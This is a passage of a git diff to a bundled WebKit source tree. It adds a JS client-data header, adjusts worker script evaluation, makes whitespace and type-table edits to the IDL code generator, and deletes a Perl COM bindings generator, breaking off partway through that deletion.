+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#ifndef WebCoreJSClientData_h
+#define WebCoreJSClientData_h
+
+#include "DOMWrapperWorld.h"
+#include "DOMObjectHashTableMap.h"
+#include <wtf/Noncopyable.h>
+#include <wtf/HashSet.h>
+#include <wtf/RefPtr.h>
+
+namespace WebCore {
+
+class WebCoreJSClientData : public JSC::JSGlobalData::ClientData, public Noncopyable {
+    friend class JSGlobalDataWorldIterator;
+public:
+    WebCoreJSClientData(JSC::JSGlobalData* globalData)
+        : m_normalWorld(DOMWrapperWorld::create(globalData, true))
+    {
+        m_worldSet.add(m_normalWorld.get());
+    }
+
+    virtual ~WebCoreJSClientData()
+    {
+        ASSERT(m_worldSet.contains(m_normalWorld.get()));
+        ASSERT(m_worldSet.size() == 1);
+        ASSERT(m_normalWorld->hasOneRef());
+        m_normalWorld.clear();
+        ASSERT(m_worldSet.isEmpty());
+    }
+
+    DOMWrapperWorld* normalWorld() { return m_normalWorld.get(); }
+
+    void getAllWorlds(Vector<DOMWrapperWorld*>& worlds)
+    {
+        copyToVector(m_worldSet, worlds);
+    }
+
+    void rememberWorld(DOMWrapperWorld* world)
+    {
+        ASSERT(!m_worldSet.contains(world));
+        m_worldSet.add(world);
+    }
+    void forgetWorld(DOMWrapperWorld* world)
+    {
+        ASSERT(m_worldSet.contains(world));
+        m_worldSet.remove(world);
+    }
+
+    DOMObjectHashTableMap hashTableMap;
+
+private:
+    HashSet<DOMWrapperWorld*> m_worldSet;
+    RefPtr<DOMWrapperWorld> m_normalWorld;
+};
+
+} // namespace WebCore
+
+#endif // WebCoreJSClientData_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/WorkerScriptController.cpp b/src/3rdparty/webkit/WebCore/bindings/js/WorkerScriptController.cpp
index b66b0e8..e371423 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/WorkerScriptController.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/WorkerScriptController.cpp
@@ -30,11 +30,11 @@
 
 #include "WorkerScriptController.h"
 
-#include "JSDOMBinding.h"
 #include "JSDedicatedWorkerContext.h"
 #include "JSSharedWorkerContext.h"
 #include "ScriptSourceCode.h"
 #include "ScriptValue.h"
+#include "WebCoreJSClientData.h"
 #include "WorkerContext.h"
 #include "WorkerObjectProxy.h"
 #include "WorkerThread.h"
@@ -58,9 +58,6 @@ WorkerScriptController::WorkerScriptController(WorkerContext* workerContext)
 WorkerScriptController::~WorkerScriptController()
 {
     m_workerContextWrapper = 0; // Unprotect the global object.
-
-    ASSERT(!m_globalData->heap.protectedObjectCount());
-    ASSERT(!m_globalData->heap.isBusy());
     m_globalData->heap.destroy();
 }
 
@@ -123,7 +120,7 @@ ScriptValue WorkerScriptController::evaluate(const ScriptSourceCode& sourceCode,
 
     ExecState* exec = m_workerContextWrapper->globalExec();
     m_workerContextWrapper->globalData()->timeoutChecker.start();
-    Completion comp = evaluateInWorld(exec, exec->dynamicGlobalObject()->globalScopeChain(), sourceCode.jsSourceCode(), m_workerContextWrapper, currentWorld(exec));
+    Completion comp = JSC::evaluate(exec, exec->dynamicGlobalObject()->globalScopeChain(), sourceCode.jsSourceCode(), m_workerContextWrapper);
     m_workerContextWrapper->globalData()->timeoutChecker.stop();
 
     if (comp.complType() == Normal || comp.complType() == ReturnValue)
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGenerator.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGenerator.pm
index c1cb0a0..487a4b3 100644
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGenerator.pm
+++ b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGenerator.pm
@@ -1,26 +1,26 @@
 #
 # WebKit IDL parser
-# 
+#
 # Copyright (C) 2005 Nikolas Zimmermann <wildfox@kde.org>
 # Copyright (C) 2006 Samuel Weinig <sam.weinig@gmail.com>
 # Copyright (C) 2007 Apple Inc. All rights reserved.
 # Copyright (C) 2009 Cameron McCormack <cam@mcc.id.au>
-# 
+#
 # This library is free software; you can redistribute it and/or
 # modify it under the terms of the GNU Library General Public
 # License as published by the Free Software Foundation; either
 # version 2 of the License, or (at your option) any later version.
-# 
+#
 # This library is distributed in the hope that it will be useful,
 # but WITHOUT ANY WARRANTY; without even the implied warranty of
 # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 # Library General Public License for more details.
-# 
+#
 # You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
+# along with this library; see the file COPYING.LIB.  If not, write to
 # the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
 # Boston, MA 02110-1301, USA.
-# 
+#
 
 package CodeGenerator;
 
@@ -39,14 +39,15 @@ my $codeGenerator = 0;
 
 my $verbose = 0;
 
-my %primitiveTypeHash = ("int" => 1, "short" => 1, "long" => 1, "long long" => 1, 
+my %primitiveTypeHash = ("int" => 1, "short" => 1, "long" => 1, "long long" => 1,
                          "unsigned int" => 1, "unsigned short" => 1,
-                         "unsigned long" => 1, "unsigned long long" => 1, 
-                         "float" => 1, "double" => 1, 
-                         "boolean" => 1, "void" => 1);
+                         "unsigned long" => 1, "unsigned long long" => 1,
+                         "float" => 1, "double" => 1,
+                         "boolean" => 1, "void" => 1,
+                         "Date" => 1);
 
 my %podTypeHash = ("SVGNumber" => 1, "SVGTransform" => 1);
-my %podTypesWithWritablePropertiesHash = ("SVGLength" => 1, "SVGMatrix" => 1, "SVGPoint" => 1, "SVGRect" => 1);
+my %podTypesWithWritablePropertiesHash = ("SVGAngle" => 1, "SVGLength" => 1, "SVGMatrix" => 1, "SVGPoint" => 1, "SVGPreserveAspectRatio" => 1, "SVGRect" => 1);
 my %stringTypeHash = ("DOMString" => 1, "AtomicString" => 1);
 
 my %nonPointerTypeHash = ("DOMTimeStamp" => 1, "CompareHow" => 1, "SVGPaintType" => 1);
@@ -327,10 +328,10 @@ sub IsSVGAnimatedType
     my $type = shift;
 
     return 1 if $svgAnimatedTypeHash{$type};
-    return 0; 
+    return 0;
 }
 
-# Uppercase the first letter while respecting WebKit style guidelines. 
+# Uppercase the first letter while respecting WebKit style guidelines.
 # E.g., xmlEncoding becomes XMLEncoding, but xmlllang becomes Xmllang.
 sub WK_ucfirst
 {
@@ -340,12 +341,13 @@ sub WK_ucfirst
     return $ret;
 }
 
-# Lowercase the first letter while respecting WebKit style guidelines. 
+# Lowercase the first letter while respecting WebKit style guidelines.
 # URL becomes url, but SetURL becomes setURL.
 sub WK_lcfirst
 {
     my ($object, $param) = @_;
     my $ret = lcfirst($param);
+    $ret =~ s/hTML/html/ if $ret =~ /^hTML/;
     $ret =~ s/uRL/url/ if $ret =~ /^uRL/;
     $ret =~ s/jS/js/ if $ret =~ /^jS/;
     $ret =~ s/xML/xml/ if $ret =~ /^xML/;
diff --git a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorCOM.pm b/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorCOM.pm
deleted file mode 100644
index 4ca441b..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/scripts/CodeGeneratorCOM.pm
+++ /dev/null
@@ -1,1319 +0,0 @@
-#
-# Copyright (C) 2005, 2006 Nikolas Zimmermann <zimmermann@kde.org>
-# Copyright (C) 2006 Anders Carlsson <andersca@mac.com>
-# Copyright (C) 2006, 2007 Samuel Weinig <sam@webkit.org>
-# Copyright (C) 2006 Alexey Proskuryakov <ap@webkit.org>
-# Copyright (C) 2006, 2007, 2008 Apple Inc. All rights reserved.
-#
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Library General Public
-# License as published by the Free Software Foundation; either
-# version 2 of the License, or (at your option) any later version.
-#
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Library General Public License for more details.
-#
-# You should have received a copy of the GNU Library General Public License
-# aint with this library; see the file COPYING.LIB.  If not, write to
-# the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 02111-1307, USA.
-
-package CodeGeneratorCOM;
-
-use File::stat;
-
-# Global Variables
-my $module = "";
-my $outputDir = "";
-
-my @IDLHeader = ();
-my @IDLContent = ();
-my %IDLIncludes = ();
-my %IDLForwardDeclarations = ();
-my %IDLDontForwardDeclare = ();
-my %IDLImports = ();
-my %IDLDontImport = ();
-
-my @CPPInterfaceHeader = ();
-
-my @CPPHeaderHeader = ();
-my @CPPHeaderContent = ();
-my %CPPHeaderIncludes = ();
-my %CPPHeaderIncludesAngle = ();
-my %CPPHeaderForwardDeclarations = ();
-my %CPPHeaderDontForwardDeclarations = ();
-
-my @CPPImplementationHeader = ();
-my @CPPImplementationContent = ();
-my %CPPImplementationIncludes = ();
-my %CPPImplementationWebCoreIncludes = ();
-my %CPPImplementationIncludesAngle = ();
-my %CPPImplementationDontIncludes = ();
-
-my @additionalInterfaceDefinitions = ();
-
-my $DASHES = "----------------------------------------";
-my $TEMP_PREFIX = "GEN_";
-
-# Hashes
-
-my %includeCorrector = map {($_, 1)} qw{UIEvent KeyboardEvent MouseEvent
-                                        MutationEvent OverflowEvent WheelEvent};
-
-my %conflictMethod = (
-    # FIXME: Add C language keywords?
-);
-
-# Default License Templates
-my @licenseTemplate = split(/\r/, << "EOF");
-/*
- * Copyright (C) 2007 Apple Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- *
- * 1.  Redistributions of source code must retain the above copyright
- *     notice, this list of conditions and the following disclaimer.
- * 2.  Redistributions in binary form must reproduce the above copyright
- *     notice, this list of conditions and the following disclaimer in the
- *     documentation and/or other materials provided with the distribution.
- * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
- *     its contributors may be used to endorse or promote products derived
- *     from this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
- * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
- * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
- * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
- * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
- * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-EOF
-
-# Default constructor
-sub new
-{
-    my $object = shift;
-    my $reference = { };
-
-    $codeGenerator = shift;
-    $outputDir = shift;
-
-    bless($reference, $object);
-    return $reference;
-}
-
-sub finish
-{
-    my $object = shift;
-}
-
-# Params: 'domClass' struct
-sub GenerateInterface
-{
-    my $object = shift;
-    my $dataNode = shift;
-    my $defines = shift;
-
-    my $name = $dataNode->name;
-
-    my $pureInterface = $dataNode->extendedAttributes->{"PureInterface"};
-
-    # Start actual generation..
-    $object->GenerateIDL($dataNode, $pureInterface);
-    if ($pureInterface) {
-        $object->GenerateInterfaceHeader($dataNode);
-    } else {
-        $object->GenerateCPPHeader($dataNode);
-        $object->GenerateCPPImplementation($dataNode);
-    }
-
-    # Write changes.
-    $object->WriteData($name, $pureInterface);
-}
-
-# Params: 'idlDocument' struct
-sub GenerateModule
-{
-    my $object = shift;
-    my $dataNode = shift;
-
-    $module = $dataNode->module;
-}
-
-sub GetInterfaceName
-{
-    my $name = $codeGenerator->StripModule(shift);
-
-    die "GetInterfaceName should only be used on interfaces." if ($codeGenerator->IsStringType($name) or $codeGenerator->IsPrimitiveType($name));
-
-    # special cases
-    return "I" . $TEMP_PREFIX . "DOMAbstractView" if $name eq "DOMWindow";
-    return "I" . $TEMP_PREFIX . $name if $name eq "DOMImplementation" or $name eq "DOMTimeStamp";
-
-    # Default, assume COM type has the same type name as
-    # idl type prefixed with "IDOM".
-    return "I" . $TEMP_PREFIX . "DOM" . $name;
-}
-
-sub GetClassName
-{
-    my $name = $codeGenerator->StripModule(shift);
-
-    # special cases
-    return "BSTR" if $codeGenerator->IsStringType($name);
-    return "BOOL" if $name eq "boolean";
-    return "unsigned" if $name eq "unsigned long";
-    return "int" if $name eq "long";
-    return $name if $codeGenerator->IsPrimitiveType($name);
-    return $TEMP_PREFIX . "DOMAbstractView" if $name eq "DOMWindow";
-    return $TEMP_PREFIX . $name if $name eq "DOMImplementation" or $name eq "DOMTimeStamp";
-
-    # Default, assume COM type has the same type name as
-    # idl type prefixed with "DOM".
-    return $TEMP_PREFIX . "DOM" . $name;
-}
-
-sub GetCOMType
-{
-    my ($type) = @_;
-
-    die "Don't use GetCOMType for string types, use one of In/Out variants instead." if $codeGenerator->IsStringType($type);
-
-    return "BOOL" if $type eq "boolean";
-    return "UINT" if $type eq "unsigned long";
-    return "INT" if $type eq "long";
-    return $type if $codeGenerator->IsPrimitiveType($type) or $type eq "DOMTimeStamp";
-    # return "unsigned short" if $type eq "CompareHow" or $type eq "SVGPaintType";
-
-    return GetInterfaceName($type) . "*";
-}
-
-sub GetCOMTypeIn
-{
-    my ($type) = @_;
-    return "LPCTSTR" if $codeGenerator->IsStringType($type);
-    return GetCOMType($type);
-}
-
-sub GetCOMTypeOut
-{
-    my ($type) = @_;
-    return "BSTR" if $codeGenerator->IsStringType($type);
-    return GetCOMType($type);
-}
-
-sub IDLTypeToImplementationType
-{
-    my $type = $codeGenerator->StripModule(shift);
-
-    return "bool" if $type eq "boolean";
-    return "unsigned" if $type eq "unsigned long";
-    return "int" if $type eq "long";
-    return $type if $codeGenerator->IsPrimitiveType($type);
-
-    return "WebCore::String" if $codeGenerator->IsStringType($type);
-    return "WebCore::${type}";
-}
-
-sub StripNamespace
-{
-    my ($type) = @_;
-
-    $type =~ s/^WebCore:://;
-
-    return $type;
-}
-
-sub GetParentInterface
-{
-    my ($dataNode) = @_;
-    return "I" . $TEMP_PREFIX . "DOMObject" if (@{$dataNode->parents} == 0);
-    return GetInterfaceName($codeGenerator->StripModule($dataNode->parents(0)));
-}
-
-sub GetParentClass
-{
-    my ($dataNode) = @_;
-    return $TEMP_PREFIX . "DOMObject" if (@{$dataNode->parents} == 0);
-    return GetClassName($codeGenerator->StripModule($dataNode->parents(0)));
-}
-
-sub AddForwardDeclarationsForTypeInIDL
-{
-    my $type = $codeGenerator->StripModule(shift);
-
-    return if $codeGenerator->IsNonPointerType($type) or $codeGenerator->IsStringType($type);
-
-    my $interface = GetInterfaceName($type);
-    $IDLForwardDeclarations{$interface} = 1;
-    $IDLImports{$interface} = 1;
-}
-
-sub AddIncludesForTypeInCPPHeader
-{
-    my $type = $codeGenerator->StripModule(shift);
-    my $useAngleBrackets = shift;
-
-    return if $codeGenerator->IsNonPointerType($type);
-
-    # Add special Cases HERE
-
-    if ($type =~ m/^I/) {
-        $type = "WebKit";
-    }
-
-    if ($useAngleBrackets) {
-        $CPPHeaderIncludesAngle{"$type.h"} = 1;
-        return;
-    }
-
-    if ($type eq "GEN_DOMImplementation") {
-        $CPPHeaderIncludes{"GEN_DOMDOMImplementation.h"} = 1;
-        return;
-    }
-
-    if ($type eq "IGEN_DOMImplementation") {
-        $CPPHeaderIncludes{"IGEN_DOMDOMImplementation.h"} = 1;
-        return;
-    }
-
-    $CPPHeaderIncludes{"$type.h"} = 1;
-}
-
-sub AddForwardDeclarationsForTypeInCPPHeader
-{
-    my $type = $codeGenerator->StripModule(shift);
-
-    return if $codeGenerator->IsNonPointerType($type) or $codeGenerator->IsStringType($type);
-
-    my $interface = GetInterfaceName($type);
-    $CPPHeaderForwardDeclarations{$interface} = 1;
-}
-
-sub AddIncludesForTypeInCPPImplementation
-{
-    my $type = $codeGenerator->StripModule(shift);
-
-    die "Include type not supported!" if $includeCorrector{$type};
-
-    return if $codeGenerator->IsNonPointerType($type);
-
-    if ($codeGenerator->IsStringType($type)) {
-        $CPPImplementationWebCoreIncludes{"AtomicString.h"} = 1;
-        $CPPImplementationWebCoreIncludes{"BString.h"} = 1;
-        $CPPImplementationWebCoreIncludes{"KURL.h"} = 1;
-        return;
-    }
-
-    # Special casing
-    $CPPImplementationWebCoreIncludes{"NameNodeList.h"} = 1 if $type eq "NodeList";
-    $CPPImplementationWebCoreIncludes{"CSSMutableStyleDeclaration.h"} = 1 if $type eq "CSSStyleDeclaration";
-
-    # Add implementation type
-    $CPPImplementationWebCoreIncludes{StripNamespace(IDLTypeToImplementationType($type)) . ".h"} = 1;
-
-    my $COMClassName = GetClassName($type);
-    $CPPImplementationIncludes{"${COMClassName}.h"} = 1;
-}
-
-sub GetAdditionalInterfaces
-{
-    # This function does nothing, but it stays here for future multiple inheritance support.
-    my $type = $codeGenerator->StripModule(shift);
-    return ();
-}
-
-sub GenerateIDL
-{
-    my ($object, $dataNode, $pureInterface) = @_;
-
-    my $inInterfaceName = $dataNode->name;
-    my $outInterfaceName = GetInterfaceName($inInterfaceName);
-    my $uuid = $dataNode->extendedAttributes->{"InterfaceUUID"} || die "All classes require an InterfaceUUID extended attribute.";
-
-    my $parentInterfaceName = ($pureInterface) ? "IUnknown" : GetParentInterface($dataNode);
-
-    my $numConstants = @{$dataNode->constants};
-    my $numAttributes = @{$dataNode->attributes};
-    my $numFunctions = @{$dataNode->functions};
-
-    # - Add default header template
-    @IDLHeader = @licenseTemplate;
-    push(@IDLHeader, "\n");
-
-    # - INCLUDES -
-    push(@IDLHeader, "#ifndef DO_NO_IMPORTS\n");
-    push(@IDLHeader, "import \"oaidl.idl\";\n");
-    push(@IDLHeader, "import \"ocidl.idl\";\n");
-    push(@IDLHeader, "#endif\n\n");
-
-    unless ($pureInterface) {
-        push(@IDLHeader, "#ifndef DO_NO_IMPORTS\n");
-        push(@IDLHeader, "import \"${parentInterfaceName}.idl\";\n");
-        push(@IDLHeader, "#endif\n\n");
-
-        $IDLDontForwardDeclare{$outInterfaceName} = 1;
-        $IDLDontImport{$outInterfaceName} = 1;
-        $IDLDontForwardDeclare{$parentInterfaceName} = 1;
-        $IDLDontImport{$parentInterfaceName} = 1;
-    }
-
-    # - Begin
-    # -- Attributes
-    push(@IDLContent, "[\n");
-    push(@IDLContent, "    object,\n");
-    push(@IDLContent, "    oleautomation,\n");
-    push(@IDLContent, "    uuid(" . $uuid . "),\n");
-    push(@IDLContent, "    pointer_default(unique)\n");
-    push(@IDLContent, "]\n");
-
-    # -- Interface
-    push(@IDLContent, "interface " . $outInterfaceName . " : " . $parentInterfaceName . "\n");
-    push(@IDLContent, "{\n");
-
-
-    # - FIXME: Add constants.
-
-
-    # - Add attribute getters/setters.
-    if ($numAttributes > 0) {
-        foreach my $attribute (@{$dataNode->attributes}) {
-            my $attributeName = $attribute->signature->name;
-            my $attributeIDLType = $attribute->signature->type;
-            my $attributeTypeIn = GetCOMTypeIn($attributeIDLType);
-            my $attributeTypeOut = GetCOMTypeOut($attributeIDLType);
-            my $attributeIsReadonly = ($attribute->type =~ /^readonly/);
-
-            AddForwardDeclarationsForTypeInIDL($attributeIDLType);
-
-            unless ($attributeIsReadonly) {
-                # Setter
-                my $setterName = "set" . $codeGenerator->WK_ucfirst($attributeName);
-                my $setter = "    HRESULT " . $setterName . "([in] " . $attributeTypeIn . ");\n";
-                push(@IDLContent, $setter);
-            }
-
-            # Getter
-            my $getter = "    HRESULT " . $attributeName . "([out, retval] " . $attributeTypeOut . "*);\n\n";
-            push(@IDLContent, $getter);
-        }
-    }
-
-    # - Add functions.
-    if ($numFunctions > 0) {
-        foreach my $function (@{$dataNode->functions}) {
-            my $functionName = $function->signature->name;
-            my $returnIDLType = $function->signature->type;
-            my $returnType = GetCOMTypeOut($returnIDLType);
-            my $noReturn = ($returnType eq "void");
-
-            AddForwardDeclarationsForTypeInIDL($returnIDLType);
-
-            my @paramArgList = ();
-            foreach my $param (@{$function->parameters}) {
-                my $paramName = $param->name;
-                my $paramIDLType = $param->type;
-                my $paramType = GetCOMTypeIn($param->type);
-
-                AddForwardDeclarationsForTypeInIDL($paramIDLType);
-
-                # Form parameter
-                my $parameter = "[in] ${paramType} ${paramName}";
-
-                # Add parameter to function signature
-                push(@paramArgList, $parameter);
-            }
-
-            unless ($noReturn) {
-                my $resultParameter = "[out, retval] " . $returnType . "* result";
-                push(@paramArgList, $resultParameter);
-            }
-
-            my $functionSig = "    HRESULT " . $functionName . "(";
-            $functionSig .= join(", ", @paramArgList);
-            $functionSig .= ");\n\n";
-            push(@IDLContent, $functionSig);
-        }
-    }
-
-    # - End
-    push(@IDLContent, "}\n\n");
-}
-
-sub GenerateInterfaceHeader
-{
-    my ($object, $dataNode) = @_;
-
-    my $IDLType = $dataNode->name;
-    my $implementationClass = IDLTypeToImplementationType($IDLType);
-    my $implementationClassWithoutNamespace = StripNamespace($implementationClass);
-    my $className = GetClassName($IDLType);
-    my $interfaceName = GetInterfaceName($IDLType);
-
-    # - Add default header template
-    @CPPInterfaceHeader = @licenseTemplate;
-    push(@CPPInterfaceHeader, "\n");
-
-    # - Header guards -
-    push(@CPPInterfaceHeader, "#ifndef " . $className . "_h\n");
-    push(@CPPInterfaceHeader, "#define " . $className . "_h\n\n");
-
-    # - Forward Declarations -
-    push(@CPPInterfaceHeader, "interface ${interfaceName};\n\n");
-    push(@CPPInterfaceHeader, "namespace WebCore {\n");
-    push(@CPPInterfaceHeader, "    class ${implementationClassWithoutNamespace};\n");
-    push(@CPPInterfaceHeader, "}\n\n");
-
-    # - Default Interface Creator -
-    push(@CPPInterfaceHeader, "${interfaceName}* to${interfaceName}(${implementationClass}*) { return 0; }\n\n");
-
-    push(@CPPInterfaceHeader, "#endif // " . $className . "_h\n");
-}
-
-# -----------------------------------------------------------------------------
-#    CPP Helper Functions
-# -----------------------------------------------------------------------------
-
-sub GenerateCPPAttributeSignature
-{
-    my ($attribute, $className, $options) = @_;
-
-    my $attributeName = $attribute->signature->name;
-    my $isReadonly = ($attribute->type =~ /^readonly/);
-
-    my $newline = $$options{"NewLines"} ? "\n" : "";
-    my $indent = $$options{"Indent"} ? " " x $$options{"Indent"} : "";
-    my $semicolon = $$options{"IncludeSemiColon"} ? ";" : "";
-    my $virtual = $$options{"AddVirtualKeyword"} ? "virtual " : "";
-    my $class = $$options{"UseClassName"} ? "${className}::" : "";
-    my $forwarder = $$options{"Forwarder"} ? 1 : 0;
-    my $joiner =  ($$options{"NewLines"} ? "\n" . $indent . "    " : "");
-
-    my %attributeSignatures = ();
-
-    unless ($isReadonly) {
-        my $attributeTypeIn = GetCOMTypeIn($attribute->signature->type);
-        my $setterName = "set" . $codeGenerator->WK_ucfirst($attributeName);
-        my $setter = $indent . $virtual . "HRESULT STDMETHODCALLTYPE ". $class . $setterName . "(";
-        $setter .= $joiner . "/* [in] */ ${attributeTypeIn} ${attributeName})" . $semicolon . $newline;
-        if ($forwarder) {
-            $setter .= " { return " . $$options{"Forwarder"} . "::" . $setterName . "(${attributeName}); }\n";
-        }
-        $attributeSignatures{"Setter"} = $setter;
-    }
-
-    my $attributeTypeOut = GetCOMTypeOut($attribute->signature->type);
-    my $getter = $indent . $virtual . "HRESULT STDMETHODCALLTYPE " . $class . $attributeName . "(";
-    $getter .= $joiner . "/* [retval][out] */ ${attributeTypeOut}* result)" . $semicolon . $newline;
-    if ($forwarder) {
-        $getter .= " { return " . $$options{"Forwarder"} . "::" . $attributeName . "(result); }\n";
-    }
-    $attributeSignatures{"Getter"} = $getter;
-
-    return %attributeSignatures;
-}
-
-
-sub GenerateCPPAttribute
-{
-    my ($attribute, $className, $implementationClass, $IDLType) = @_;
-
-    my $implementationClassWithoutNamespace = StripNamespace($implementationClass);
-
-    my $attributeName = $attribute->signature->name;
-    my $attributeIDLType = $attribute->signature->type;
-    my $hasSetterException = @{$attribute->setterExceptions};
-    my $hasGetterException = @{$attribute->getterExceptions};
-    my $isReadonly = ($attribute->type =~ /^readonly/);
-    my $attributeTypeIsPrimitive = $codeGenerator->IsPrimitiveType($attributeIDLType);
-    my $attributeTypeIsString = $codeGenerator->IsStringType($attributeIDLType);
-    my $attributeImplementationType = IDLTypeToImplementationType($attributeIDLType);
-    my $attributeImplementationTypeWithoutNamespace = StripNamespace($attributeImplementationType);
-    my $attributeTypeCOMClassName = GetClassName($attributeIDLType);
-
-    $CPPImplementationWebCoreIncludes{"ExceptionCode.h"} = 1 if $hasSetterException or $hasGetterException;
-
-    my %signatures = GenerateCPPAttributeSignature($attribute, $className, { "NewLines" => 1,
-                                                                             "Indent" => 0,
-                                                                             "IncludeSemiColon" => 0,
-                                                                             "UseClassName" => 1,
-                                                                             "AddVirtualKeyword" => 0 });
-
-    my %attrbutesToReturn = ();
-
-    unless ($isReadonly) {
-        my @setterImplementation = ();
-        push(@setterImplementation, $signatures{"Setter"});
-        push(@setterImplementation, "{\n");
-
-        my $setterName = "set" . $codeGenerator->WK_ucfirst($attributeName);
-
-        my @setterParams = ();
-        if ($attributeTypeIsString) {
-            push(@setterParams, $attributeName);
-            if ($hasSetterException) {
-                push(@setterImplementation, "    WebCore::ExceptionCode ec = 0;\n");
-                push(@setterParams, "ec");
-            }
-        } elsif ($attributeTypeIsPrimitive) {
-            if ($attribute->signature->extendedAttributes->{"ConvertFromString"}) {
-                push(@setterParams, "WebCore::String::number(${attributeName})");
-            } elsif ($attributeIDLType eq "boolean") {
-                push(@setterParams, "!!${attributeName}");
-            } else {
-                my $primitiveImplementationType = IDLTypeToImplementationType($attributeIDLType);
-                push(@setterParams, "static_cast<${primitiveImplementationType}>(${attributeName})");
-            }
-
-            if ($hasSetterException) {
-                push(@setterImplementation, "    WebCore::ExceptionCode ec = 0;\n");
-                push(@setterParams, "ec");
-            }
-        } else {
-            $CPPImplementationWebCoreIncludes{"COMPtr.h"} = 1;
-
-            push(@setterImplementation, "    if (!${attributeName})\n");
-            push(@setterImplementation, "        return E_POINTER;\n\n");
-            push(@setterImplementation, "    COMPtr<${attributeTypeCOMClassName}> ptr(Query, ${attributeName});\n");
-            push(@setterImplementation, "    if (!ptr)\n");
-            push(@setterImplementation, "        return E_NOINTERFACE;\n");
-
-            push(@setterParams, "ptr->impl${attributeImplementationTypeWithoutNamespace}()");
-            if ($hasSetterException) {
-                push(@setterImplementation, "    WebCore::ExceptionCode ec = 0;\n");
-                push(@setterParams, "ec");
-            }
-        }
-
-        # FIXME: CHECK EXCEPTION AND DO SOMETHING WITH IT
-
-        my $reflect = $attribute->signature->extendedAttributes->{"Reflect"};
-        my $reflectURL = $attribute->signature->extendedAttributes->{"ReflectURL"};
-        if ($reflect || $reflectURL) {
-            my $contentAttributeName = (($reflect || $reflectURL) eq "1") ? $attributeName : ($reflect || $reflectURL);
-            my $namespace = $codeGenerator->NamespaceForAttributeName($IDLType, $contentAttributeName);
-            $CPPImplementationWebCoreIncludes{"${namespace}.h"} = 1;
-            push(@setterImplementation, "    impl${implementationClassWithoutNamespace}()->setAttribute(WebCore::${namespace}::${contentAttributeName}Attr, " . join(", ", @setterParams) . ");\n");
-        } else {
-            push(@setterImplementation, "    impl${implementationClassWithoutNamespace}()->${setterName}(" . join(", ", @setterParams) . ");\n");
-        }
-        push(@setterImplementation, "    return S_OK;\n");
-        push(@setterImplementation, "}\n\n");
-
-        $attrbutesToReturn{"Setter"} = join("", @setterImplementation);
-    }
-
-    my @getterImplementation = ();
-    push(@getterImplementation, $signatures{"Getter"});
-    push(@getterImplementation, "{\n");
-    push(@getterImplementation, "    if (!result)\n");
-    push(@getterImplementation, "        return E_POINTER;\n\n");
-
-    my $implementationGetter;
-    my $reflect = $attribute->signature->extendedAttributes->{"Reflect"};
-    my $reflectURL = $attribute->signature->extendedAttributes->{"ReflectURL"};
-    if ($reflect || $reflectURL) {
-        my $contentAttributeName = (($reflect || $reflectURL) eq "1") ? $attributeName : ($reflect || $reflectURL);
-        my $namespace = $codeGenerator->NamespaceForAttributeName($IDLType, $contentAttributeName);
-        $implIncludes{"${namespace}.h"} = 1;
-        my $getAttributeFunctionName = $reflectURL ? "getURLAttribute" : "getAttribute";
-        $implementationGetter = "impl${implementationClassWithoutNamespace}()->${getAttributeFunctionName}(WebCore::${namespace}::${contentAttributeName}Attr)";
-    } else {
-        $implementationGetter = "impl${implementationClassWithoutNamespace}()->" . $codeGenerator->WK_lcfirst($attributeName) . "(" . ($hasGetterException ? "ec" : ""). ")";
-    }
-
-    push(@getterImplementation, "    WebCore::ExceptionCode ec = 0;\n") if $hasGetterException;
-
-    if ($attributeTypeIsString) {
-        push(@getterImplementation, "    *result = WebCore::BString(${implementationGetter}).release();\n");
-    } elsif ($attributeTypeIsPrimitive) {
-        if ($attribute->signature->extendedAttributes->{"ConvertFromString"}) {
-            push(@getterImplementation, "    *result = static_cast<${attributeTypeCOMClassName}>(${implementationGetter}.toInt());\n");
-        } else {
-            push(@getterImplementation, "    *result = static_cast<${attributeTypeCOMClassName}>(${implementationGetter});\n");
-        }
-    } else {
-        $CPPImplementationIncludesAngle{"wtf/GetPtr.h"} = 1;
-        my $attributeTypeCOMInterfaceName = GetInterfaceName($attributeIDLType);
-        push(@getterImplementation, "    *result = 0;\n");
-        push(@getterImplementation, "    ${attributeImplementationType}* resultImpl = WTF::getPtr(${implementationGetter});\n");
